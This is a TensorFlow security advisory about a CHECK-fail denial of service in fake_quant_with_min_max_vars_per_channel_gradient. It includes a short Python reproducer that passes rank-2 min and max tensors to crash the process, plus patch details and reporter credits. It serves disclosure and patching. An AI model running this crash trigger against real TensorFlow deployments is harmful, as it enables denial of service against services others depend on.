TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannelGradient`
### Impact
When `tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient` receives input `min` or `max` of rank other than 1, it gives a `CHECK` fail that can trigger a denial of service attack.
```python
import tensorflow as tf
arg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_4=8
arg_5=False
arg_6=None
tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0,
inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4,
narrow_range=arg_5, name=arg_6)
```
### Patches
We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed
https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
- Neophytos Christou, Secure Systems Labs, Brown University